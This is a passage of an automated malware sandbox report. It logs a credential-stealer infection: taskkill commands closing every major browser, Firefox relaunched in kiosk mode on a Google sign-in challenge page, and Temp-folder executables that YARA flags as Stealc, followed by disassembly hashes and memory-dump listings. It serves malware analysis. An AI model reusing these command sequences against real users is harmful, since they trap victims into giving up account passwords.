Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x7ff6bd830000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:16:23
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:16:26
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x450000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:16:26
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:16:26
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x450000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:16:26
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:16:26
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x450000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:16:26
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	08:16:27
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x450000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	08:16:27
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:16:27
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	08:16:27
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	08:16:27
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	08:16:28
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2204 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9da095b4-305f-4255-8eee-f99f24ad1374} 7936 "\\.\pipe\gecko-crash-server-pipe.7936" 1f35a171110 socket
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	08:16:29
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003159001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1003159001\num.exe"
Imagebase:	0x8d0000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000000.2371370494.00000000008EE000.00000002.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2392488170.000000000063E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000000.2371042697.00000000008D1000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2397297252.00000000008D1000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2397549436.00000000008EE000.00000002.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	08:16:30
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1003156001\6c1c4a36e1.exe"
Imagebase:	0x2c0000
File size:	2'937'856 bytes
MD5 hash:	EA1B8BAFCB99BC660562BCB5F4CB63F3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000002.2532922901.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	08:16:34
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3440 -parentBuildID 20230927232528 -prefsHandle 4256 -prefMapHandle 4252 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5a37ea2d-6337-4935-aa82-5eddfa797fba} 7936 "\\.\pipe\gecko-crash-server-pipe.7936" 1f36bf3e210 rdd
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	08:16:38
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1003157001\4b41d9dd20.exe"
Imagebase:	0xa30000
File size:	2'126'336 bytes
MD5 hash:	E71C5AEE12EE323FC4F40010437D4186
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000029.00000003.2472215576.0000000005180000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000029.00000002.2527180417.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000029.00000002.2513367110.0000000000A31000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Function 00D766B4 Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1392798213.0000000000D75000.00000004.00000020.00020000.00000000.sdmp, Offset: 00D68000, based on PE: false

Associated: 00000000.00000003.1392271648.0000000000D68000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_d68000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df56b4ff6ef87f9434c3599c9ad14a3beb0ba034dc417f5c3b07adc25b033f9c
Instruction ID: acda298b36f946181aedce17b48205179a64579b0d1b8ad874940ba9380dfa1f
Opcode Fuzzy Hash: df56b4ff6ef87f9434c3599c9ad14a3beb0ba034dc417f5c3b07adc25b033f9c
Instruction Fuzzy Hash: 7271FD8244E7C04FEB178B345CBA6957FB19E2311071E86EFD4C88B4E3E64A494AD327

Function 00D766B4 Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1392798213.0000000000D75000.00000004.00000020.00020000.00000000.sdmp, Offset: 00D6C000, based on PE: false

Associated: 00000000.00000003.1392271648.0000000000D68000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_d68000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df56b4ff6ef87f9434c3599c9ad14a3beb0ba034dc417f5c3b07adc25b033f9c
Instruction ID: acda298b36f946181aedce17b48205179a64579b0d1b8ad874940ba9380dfa1f
Opcode Fuzzy Hash: df56b4ff6ef87f9434c3599c9ad14a3beb0ba034dc417f5c3b07adc25b033f9c
Instruction Fuzzy Hash: 7271FD8244E7C04FEB178B345CBA6957FB19E2311071E86EFD4C88B4E3E64A494AD327

Function 00D766B4 Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1392798213.0000000000D75000.00000004.00000020.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false

Associated: 00000000.00000003.1392271648.0000000000D68000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_d68000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df56b4ff6ef87f9434c3599c9ad14a3beb0ba034dc417f5c3b07adc25b033f9c
Instruction ID: acda298b36f946181aedce17b48205179a64579b0d1b8ad874940ba9380dfa1f
Opcode Fuzzy Hash: df56b4ff6ef87f9434c3599c9ad14a3beb0ba034dc417f5c3b07adc25b033f9c
Instruction Fuzzy Hash: 7271FD8244E7C04FEB178B345CBA6957FB19E2311071E86EFD4C88B4E3E64A494AD327

Analysis Process: UOZM77Y2O77YBMEWY4B8DEDXRXA.exePID: 7744, Parent PID: 5140COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	35.3%
Signature Coverage:	8.8%
Total number of Nodes:	34
Total number of Limit Nodes:	2

Executed Functions

Function 054515D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 054518C8

Memory Dump Source

Source File: 0000000A.00000002.1669372357.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5450000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: c36f418a360a04a0e6da1995207eed06844de905492efe3918a48097149e4e3b
Instruction ID: 7ff556eb512f1bbf19541ed2db82aa66d956dd400843cd823907f87bdd5a959e
Opcode Fuzzy Hash: c36f418a360a04a0e6da1995207eed06844de905492efe3918a48097149e4e3b
Instruction Fuzzy Hash: 2DC13871D006599FDB10CFA8C985BEEBBB2FB45320F14826AEC95A7381D7749885CB81

Function 00D340A0 Relevance: 1.6, APIs: 1, Instructions: 144
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00D340A0

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: aac671b00c5d22906c12fd67e47c44216e568909a069d78b6ba49ac39e853278
Instruction ID: f5f0254d278b675e05deb1592e2afd3584543a124b94985b8127c6b27855ea83
Opcode Fuzzy Hash: aac671b00c5d22906c12fd67e47c44216e568909a069d78b6ba49ac39e853278
Instruction Fuzzy Hash: D94109F760D2006FF7059A19ED55ABAB7E9EBD8320F26483DF6C4C3340EA35480486A2

Function 00D41347 Relevance: 4.6, APIs: 3, Instructions: 102
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00D413AD
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00D413D4
GetNativeSystemInfo.KERNELBASE(?), ref: 00D4142B

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 4a5b47a97016641855938a20583bb32ae5fc8d2593ce57f4507f1c8206b908f7
Instruction ID: 2655309ba732955d7225b818c4e51c685d0f19174026cffa06266bd0fcdd08c5
Opcode Fuzzy Hash: 4a5b47a97016641855938a20583bb32ae5fc8d2593ce57f4507f1c8206b908f7
Instruction Fuzzy Hash: 3641F8B150860EDFEF15EF64E848BEE77E4EB04300F540529EA85C6940E7764DA4CF6A

Function 00D3793F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?), ref: 00D379A1

Strings

^!UU, xrefs: 00D37943

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
